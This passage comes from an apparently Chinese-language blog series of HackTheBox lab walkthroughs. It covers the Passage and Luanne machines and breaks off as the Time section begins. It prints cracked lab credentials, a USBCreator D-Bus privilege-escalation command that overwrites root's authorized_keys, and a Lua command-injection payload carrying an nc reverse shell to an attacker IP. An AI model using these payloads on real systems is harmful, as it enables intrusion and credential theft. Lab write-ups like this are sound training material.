Coles&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485556&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;kim-swift&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483309&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Kim Swift&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487096&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:6:&amp;ldquo;egre55&amp;rdquo;;a:11:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1598829833&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;4&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&amp;rdquo;;s:4:&amp;ldquo;more&amp;rdquo;;s:60:&amp;ldquo;YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==&amp;quot;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1598834079&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:6:&amp;ldquo;avatar&amp;rdquo;;s:26:&amp;ldquo;avatar_egre55_spwvgujw.php&amp;rdquo;;s:6:&amp;ldquo;e-hide&amp;rdquo;;s:0:&amp;rdquo;&amp;quot;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483309;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;整理一下吧&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt; 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&#9;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&#9;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&#9;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&#9;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;的密码为atlanta1&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;的密码为egre55&lt;/p&gt;&#10;&lt;p&gt;其他得rockyou没跑出来 在线网站也没有&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功提权到paul&lt;/p&gt;&#10;&lt;p&gt;.ssh目录下有paul的私钥 提取出来准备连ssh&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是在看公钥的时候发现了末尾用户不是paul？&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;应该用的是同一对公私钥&lt;/p&gt;&#10;&lt;p&gt;开始接着提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;find / -group dip -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;没找到太多用户组的东西&lt;/p&gt;&#10;&lt;p&gt;值得注意的是 nadav被赋予了sudo组 也就是他可以执行sudo 他跟paul不一样&lt;/p&gt;&#10;&lt;p&gt;而执行sudo -l 是需要密码的 所以目前的思路就是去找密码 全都翻完了完全没有发现密码&lt;/p&gt;&#10;&lt;p&gt;开始找suid 发现了一个没见过的东西&lt;/p&gt;&#10;&lt;p&gt;/bin/ntfs-3g&#9;找提权看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;报错 看看是咋回事&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;主要是最后两个地方报错 后续接着找漏洞 找到了一个写的很好的博客&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;它提示说我们应该用&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/41356" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/41356&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://project-zero.issues.chromium.org/issues/42450079" target="_blank" rel="noopener"&#10; &gt;https://project-zero.issues.chromium.org/issues/42450079&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这两个当中其中一个的exp 这是正确的 我两个都用了 但结果都是&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这一条路显然不行&lt;/p&gt;&#10;&lt;p&gt;后续没有任何思路了 还是翻一下家目录把 一开始只顾着翻密码 没注意到这个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个不算是常规的配置文件 开始搜相关漏洞&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/" target="_blank" rel="noopener"&#10; &gt;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个网站最下面介绍了使用方法 可能是我的搜索方法有问题 我只找到这一篇介绍了使用方法的 在最下面&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有命令之后 google命令 &amp;ldquo;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;接着找到了这个网站&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://kashz.gitbook.io/kashz-jewels/services/usbcreator" target="_blank" rel="noopener"&#10; &gt;https://kashz.gitbook.io/kashz-jewels/services/usbcreator&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个网站的命令很详细 拼接命令&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/root/root.txt&amp;rsquo; &amp;lsquo;/tmp/1111.txt&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;拿到了flag 但还是提权把 既然就能写任意文件&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/home/nadav/.ssh/authorized_keys&amp;rsquo; &amp;lsquo;/root/.ssh/authorized_keys&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束&lt;/p&gt;&#10;&lt;p&gt;这个靶场与以往不是很相同 后续的靶场我能感觉到 提权的方式都很不一样 越来越多样化了 只能说多打把&lt;/p&gt;&#10;&lt;h2 id="29luanne"&gt;&lt;a href="#29luanne" class="header-anchor"&gt;&lt;/a&gt;29.Luanne&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218/&lt;/a&gt; 要登陆 先对他进行爆破把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;访问404 接着爆破把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;访问了一下发现是一个天气接口 而且后端是用lua写的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;参考了几篇文章 这个后端是lua写的 这里可能存在命令注入&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/" target="_blank" rel="noopener"&#10; &gt;https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gtfobins.github.io/gtfobins/lua/" target="_blank" rel="noopener"&#10; &gt;https://gtfobins.github.io/gtfobins/lua/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;而这里我们操作的时候发现并不能直接执行命令 他只会把你输入的传出来 当输入&amp;rsquo;单引号的时候 他会报错 输入其他的大部分情况都不会报错&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;查了下这个语言的文档 可能就是这样写的 用&amp;rsquo;号闭合 然后在使用 &amp;lsquo;; 就能执行其他命令 因为这里输出的也只是字符串 当把前面闭合之后 就能在后面拼接命令了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是实际上并不行 在尝试其他的 应该是闭合方式有问题 而且这种命令注入 还需要把后面注释了 不要让后面的影响前面我们的代码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;最后找了很久 成功找到了闭合方法 首先&amp;rsquo;肯定是没问题的 不然他不会报错 其次就是光一个&amp;rsquo;不行 我后续尝试了很多 在 &amp;lsquo;) 尝试成功了&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)&amp;ndash;+&lt;/a&gt;os.execute(%22id%22)&amp;ndash;+)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;后续尝试了非常多的次数用来反弹shell 一直不行 nc可以 但是建立不了shell连接&lt;/p&gt;&#10;&lt;p&gt;我怀疑可能是shell不对 尝试了下输出出来当前用户是/bin/sh的shell 但就是弹不出来 就先不弹了 先看看其他文件把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当前目录下有 .htpasswd&lt;/p&gt;&#10;&lt;p&gt;解出来为webapi_user:iamthebest&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;22端口还是不行&lt;/p&gt;&#10;&lt;p&gt;9001也不行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;并不存在/etc/passwd 说明他就是一个网站的账户 突然想起来80端口还存在一个登陆页面&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果跟刚刚是一个东西 没啥区别&lt;/p&gt;&#10;&lt;p&gt;入口点已经没多少了 一个弹不回来shell的url 和一个9001不知道是啥的网站&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;lua反弹也缺少库&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;lsquo;) os.execute(&amp;ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.16.21 6666 &amp;gt;/tmp/f&amp;rdquo;) &amp;ndash;+&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;最后才成功 这个太扯淡了 sh没有全局变量 得手动索引 其次好像是因为bp的url编码会多一个回车？还是怎么回事&lt;/p&gt;&#10;&lt;p&gt;一直不行 搞得跟玄学一样&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;插一嘴 刚开始看到评分的时候我就有种不好的预感&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;拿不到tty&lt;/p&gt;&#10;&lt;p&gt;做了很多提权的动作 但貌似有很多东西都没有 搜了一下NetBSD 9.0&lt;/p&gt;&#10;&lt;p&gt;命令和常规的linux命令貌似有点不同&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;本地3000和3001端口正在监听&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个鉴权好办 上面有个账号和密码 在weather接口是能登陆的 这个鉴权方式见过太多了 典型的就是tomcat&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3000" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3001" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;3000和3001貌似是同一个东西&lt;/p&gt;&#10;&lt;p&gt;此时有个想法 这两个东西是一样的 但是开启的用户会不会不一样 bsd命令确实没了解过 只能尽可能google去寻找 “bsd如何看端口是谁开启的”&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;都有 还是试一下吧 反正exp都有&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;3000端口没问题 能弹shell 3001倒是不行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;试了很多方法 就是无法找到pid和port对应的关系&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netstat -an&lt;/p&gt;&#10;&lt;p&gt;sockstat -4l&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;这两个都不行 但是目前也没其他方法了&lt;/p&gt;&#10;&lt;p&gt;到这一步真的做不动了 唯一的办法就是搭隧道来测试服务 但是看起来貌似不会那样&lt;/p&gt;&#10;&lt;p&gt;实在是没办法了 看了眼wp&lt;/p&gt;&#10;&lt;p&gt;它提示说 r.michaels 目录可以从网站访问到的？ 貌似是个备份服务&lt;/p&gt;&#10;&lt;p&gt;这个完全想不到 可能是我的操作有问题 完全找不到3001是否对应r.michaels用户&lt;/p&gt;&#10;&lt;p&gt;而他们是通过目录爆破获取的 如果我爆破的话 我的字典肯定不会有这些 我也并不会去找home passwd 这些特征的文件来做字典 有点不科学 可能还是命令有问题 等结束了问问gpt 看看能否去找 端口进程对应用户文件&lt;/p&gt;&#10;&lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3001/~r.michaels/id_rsa%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001/~r.michaels/id_rsa&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了&lt;/p&gt;&#10;&lt;p&gt;非常奇怪 按照他的意思 ~穿越到了r.michaels目录 只需要当前用户权限为r.michaels或者users组 又或者root权限 我并不知道python开的服务还有这种穿越方法 总之只是一个很奇怪的尝试&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有一个备份文件 传到了kali上 enc文件是被加密了的 所以目前需要找到加解密的方式 同时并看看其他目录&lt;/p&gt;&#10;&lt;p&gt;这里又卡住了 完全解不开 看情况得看加密类型 还得找密钥 完全找不到密钥在哪 还是去看了wp&lt;/p&gt;&#10;&lt;p&gt;一个命令就能解决&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netpgp &amp;ndash;decrypt devel_backup-2020-09-16.tar.gz.enc &amp;ndash;output=/tmp/raj.tar.gz&lt;/p&gt;&#10;&lt;p&gt;tar -xvf /tmp/raj.tar.gz&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;里面还有个 devel-2020-09-16/www/.htpasswd&lt;/p&gt;&#10;&lt;p&gt;解开如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;littlebear&lt;/p&gt;&#10;&lt;p&gt;su无法切换用户 还是卡住了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束了&lt;/p&gt;&#10;&lt;p&gt;2.5分是有原因 我不清楚这些是netbsd的特性 还是什么 总之用的非常难受 跟我之前了解的命令完全不一样 getshell的方法也千奇百怪 算是一个扩展面吧 但是做的非常难受 这是最难受的一个靶场了&lt;/p&gt;&#10;&lt;p&gt;最后找了下之前的疑问点 还是有方法的&lt;/p&gt;&#10;&lt;p&gt;ps aux | grep httpd&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当时没注意ps 因为这个linux上 啥命令都没有 啥都不一样&lt;/p&gt;&#10;&lt;p&gt;能看得出来3001就是r.michaels启动的&lt;/p&gt;&#10;&lt;h2 id="30time"&gt;&lt;a href="#30time" class="header-anchor"&gt;&lt;/a&gt;30.Time&#10;&lt;/h2&gt;&lt;p&gt;评分有点低 